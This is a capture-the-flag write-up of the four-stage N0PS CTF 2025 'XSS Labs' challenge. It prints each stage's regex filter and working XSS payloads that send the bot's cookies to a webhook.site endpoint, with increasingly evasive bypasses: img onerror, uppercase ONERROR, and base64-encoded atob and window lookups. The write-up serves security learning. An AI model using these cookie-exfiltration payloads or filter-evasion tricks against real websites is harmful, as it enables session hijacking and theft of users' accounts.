XSS Labs
This is a challenge from N0PS CTF 2025
It has 4 stages of XSS to perform in order to get flag.
The site is contains 4 different pages (we initially know only the index page)
The input in the page gives us XSS as whatever we pass in the input will ultimately being checked by a bot on the server side (most prolly a headless browser).
With subsequent successfully XSS, it will give us routes to next page. We basically have to steal cookies from bot in order to proceed, as mentioned in the chall.
Note - for stealing cookies I useed of webhook from weebhook.site, also while testing my payloads locally i made use of query parameter (?payload=<PAYLOAD>
) to check wheter my exploit working correctly or not.
XSS 1/4
at https://nopsctf-xss-lab.chals.io/
NO Filters here we can pass anything
So payload that I used is -
<script>fetch(`https://webhook.site/<YOUR_WEBHOOK_ENDPOINT>`,{method:"POST",body:document.cookie})</script>
I used burpsuite to intercept the form submission and then pass this value as payload
This will send a POST request with cookies on the specified webhook endpoint.
From that i got - xss2=/0d566d04bbc014c2d1d0902ad50a4122
Hence I got route to XSS 2/4
XSS 2/4
at https://nopsctf-xss-lab.chals.io/0d566d04bbc014c2d1d0902ad50a4122
This time we have a bit of server side filtering on the payload that we pass
def filter_2(payload):
regex = ".*(script|(</.*>)).*"
if re.match(regex, payload):
return "Nope"
return payload
This is the filter being used for our payload.
It’s a basic regex check for infilterating XSS input.
What it does:
- don’t allow the literal
script
to be passed in the payload - don’t allow any closing tags like -
</>
,</script>
, anything
But it’s not that strong we can bypass it :)
As I cannot pass any payload with closing tag, the only thing that hit in my mind was to use a img
tag as they work without any closing tag
For this part I used the payload below, after a little bit of experimenting
// Actual payload
<img src=1 onerror="eval('fetch(\'https://webhook.site/<YOUR_WEBHOOK_ENDPOINT>\',{method:\'POST\',body:document.cookie})')">
// what passed while intercepting
<img+src=1+onerror="eval('fetch(\'https://webhook.site/<YOUR_WEBHOOK_ENDPOINT>\',{method:\'POST\',body:document.cookie})')">
again I used burpsuite to intercept the XSS form submission and then passed this payload.
Again I am able to steal cookie for this part - xss3=/5d1aaeadf1b52b4f2ab7042f3319a267
Now I can move to XSS 3/4 🥳
XSS 3/4
at https://nopsctf-xss-lab.chals.io/5d1aaeadf1b52b4f2ab7042f3319a267`
This time server side filter is more complex.
def filter_3(payload):
regex = ".*(://|script|(</.*>)|(on\\w+\\s*=)).*"
if re.match(regex, payload):
return "Nope"
return payload
This regex filter
- didn’t allow me to use literal
script
- can’t use
://
directly hence can’t usehttp://
directly - doesn’t allow event trigger starting with
on
, so i can’t use something likeonerror
, which I previously used with img tag. Also I cannot use anything likeonload
,onclick
and many
But the thing to notice here is the filtering on event triggers starting with on
,
is not that strict we can use them by changing them to uppercase, which means
onerror
will work same as ONERROR
Huh, and for passing that ://
check I can do string concatenation like this ':/'+'/'
Let’s form our new payload -
<img src=x ONERROR="eval('fetch(\'https:/\'+\'/webhook.site/<YOUR_WEBHOOK_ENDPOINT>\',{method:\'POST\',body:document.cookie})')">
Again as I used burpsuite to pass this payload
while intercepting the request.
The actual payload I passed while intercepting request is -
<img+src=x+ONERROR="eval('fetch(\'https:/\'%2b\'/webhook.site/<YOUR_WEBHOOK_ENDPOINT>\',{method:\'POST\',body:document.cookie})')">
Done with this part
Stealed the cookies.
Got - xss4=/b355082fc794c4d1d2b6c02e04163090
XSS 4/4
at https://nopsctf-xss-lab.chals.io/b355082fc794c4d1d2b6c02e04163090`
This is the final part of this challenge, with a even worse filter.
Honestly, It took me almost 2 hours to do this 😭
Here’s the filter being used for this part
def filter_4(payload):
regex = "(?i:(.*(/|script|(</.*>)|document|cookie|eval|string|(\"|'|).*(('.+')|(\".+\")|(.+)).*(\"|'|)).*))|(on\w+\s*=)|\+|!"
if re.match(regex, payload):
return "Nope"
return payload
For this filter (Gpt ahh text) -
-
Don’t allow forward slashes (
/
)- Blocks things like
</tag>
and JavaScript URLs.
- Blocks things like
-
Don’t allow the word
script
(case-insensitive)- Prevents
<script>
,JavaScript:
schemes, etc.
- Prevents
-
Don’t allow closing HTML tags (
</...>
)- Blocks injection of tags like
</img>
,</iframe>
, etc.
- Blocks injection of tags like
-
Don’t allow the word
document
- Blocks access to
document.cookie
,document.write
, etc.
- Blocks access to
-
Don’t allow the word
cookie
- Prevents leaking cookie data.
-
Don’t allow the word
eval
- Stops arbitrary JavaScript execution.
-
Don’t allow the word
string
- May block use of
String.fromCharCode
or constructor tricks.
- May block use of
-
Don’t allow nested quotes inside strings
- For example:
'abc"def'
,"abc'xyz"
,`abc"xyz'`
- For example:
-
Don’t allow any HTML event handlers (
on...=
)- Such as
onerror=
,onload=
,onclick=
, etc.
- Such as
-
Don’t allow the plus sign (
+
)- Used for string building or bypass tricks.
-
Don’t allow the exclamation mark (
!
)- Used in common JavaScript obfuscation (e.g.,
!1
,![]
, etc.)
- Used in common JavaScript obfuscation (e.g.,
Intially for this part I stucked soo long on using iframe
or embed
.
I tried encoding my payload as base64 encoded string and tried passing it using iframe
as -
<iframe src="data:text/html;base64,<BASE64_ENCODED_PAYLOAD>">
Tho it didn’t work, I tried many variations also (ALMOST 35-40 payloads)
But the real clown moment hit’s when I got to know document.cookie
is inaccessible in data:
URI context 🤡
If somehow I could get XSS with iframe
still then it would be impossible for me steal cookie.
I was back again with my lovely img
tag, this time with a better startegy
Here is the journey i have gone through to get the final working payload -
<img+src=x+ONERROR=EVAL('alert(1)')> // not working
<img+src=x+ONERROR=alert(1)> // working
<img+src=x+ONERROR=a=2;alert(a)> // working
// `https://webhook.site/<YOUR_WEBHOOK_ENDPOINT>` -> base64 -> aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4=
<img+src=x+ONERROR=fetch(atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4='))> // working
<img+src=x+ONERROR=fetch([atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4='),"?q=","query"].join(""))> // not working
<img+src=x+ONERROR=fetch([atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4='),'abcd'].join(''))> // not working
<img+src=x+ONERROR=fetch(atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4=').concat("?q=lol"))> //working
<img+src=x+ONERROR=fetch(atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4=').concat("?q=").concat("lol"))> // not working
// `https://webhook.site/<YOUR_WEBHOOK_ENDPOINT>?q=` -> base64 -> aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0=
<img+src=x+ONERROR=fetch(atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0='').concat("lol"))>
// working
<img+src=x+ONERROR=fetch(atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0='').concat(window[atob('ZG9jdW1lbnQ=')][atob('Y29va2ll')]))>
// not working
// document -> base64 -> ZG9jdW1lbnQ=
// cookie -> base64 -> Y29va2ll
<img+src=x+ONERROR=alert(window[atob('ZG9jdW1lbnQ=')][atob('Y29va2ll')])> // not working
<img+src=x+ONERROR=alert(window[atob('ZG9jdW1lbnQ=')][atob("Y29va2ll")])> // working
<img+src=x+ONERROR=fetch(atob("aHR0cHM6Ly93ZWJob29rLnNpdGUvMmZmODJlYmItZWNlMy00YzNkLWE0MmEtMGNlNmQ2NTJjZjIxP3E9").concat(window[atob('ZG9jdW1lbnQ=')][atob(`Y29va2ll`)]))> // not working
// `https://webhook.site/<YOUR_WEBHOOK_ENDPOINT>?q=,document,cookie` -> base64 -> aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0sZG9jdW1lbnQsY29va2ll
<img+src=x+ONERROR=x=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0sZG9jdW1lbnQsY29va2ll').split(",");alert(x[0])>
// not working (due to same name x maybe)
<img+src=x+ONERROR=a=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0sZG9jdW1lbnQsY29va2ll').split(",");alert(a[0])>
// working
<img+src=x+ONERROR=x=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0sZG9jdW1lbnQsY29va2ll').split(",");fetch(x[0].concat(window[x[1]][x[2]]))>
// not working (due to same name x)
<img+src=x+ONERROR=a=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0sZG9jdW1lbnQsY29va2ll').split(",");fetch(a[0].concat(window[a[1]][a[2]]))>
// working (FINAL WORKING PAYLOAD!!!!!!!)
(NOTE - do use your own webhook url and base64 encode on your own)
Hence I got finally a working payload for this part -
Thought process -
- Enocde usefull strings - like webhook url, cookie, document in base64 seprated with
,
(comma) https://webhook.site/2ff82ebb-ece3-4c3d-a42a-0ce6d652cf21?q=,document,cookie
when base64 encoded givesaHR0cHM6Ly93ZWJob29rLnNpdGUvMmZmODJlYmItZWNlMy00YzNkLWE0MmEtMGNlNmQ2NTJjZjIxP3E9LGRvY3VtZW50LGNvb2tpZQ==
- load base64 string -> decode it and use
split
function to split the decoded string with,
as delimitter - use normal fetch with webhook url taken from that splitted base64 decoded string
- use browser window API to get cookie
window["document"]["cookie"]
,document
andcookie
literals can be taken from the same splitted base64 decoded string
<img src=x ONERROR=a=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvMmZmODJlYmItZWNlMy00YzNkLWE0MmEtMGNlNmQ2NTJjZjIxP3E9LGRvY3VtZW50LGNvb2tpZQ==').split(",");fetch(a[0].concat(window[a[1]][a[2]]))>
// pass this while intercepting
<img+src=x+ONERROR=a=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvMmZmODJlYmItZWNlMy00YzNkLWE0MmEtMGNlNmQ2NTJjZjIxP3E9LGRvY3VtZW50LGNvb2tpZQ==').split(",");fetch(a[0].concat(window[a[1]][a[2]]))>
The above base64 encoded string
I again intercepted the form xss input submission using burpsuite and passed this as payload.
And hence got flag at my webhook endpoint 😄
It’s overall a good challenge, I learnt a lot in this CTF.
Hope to perform even better in next N0PS CTF 🚀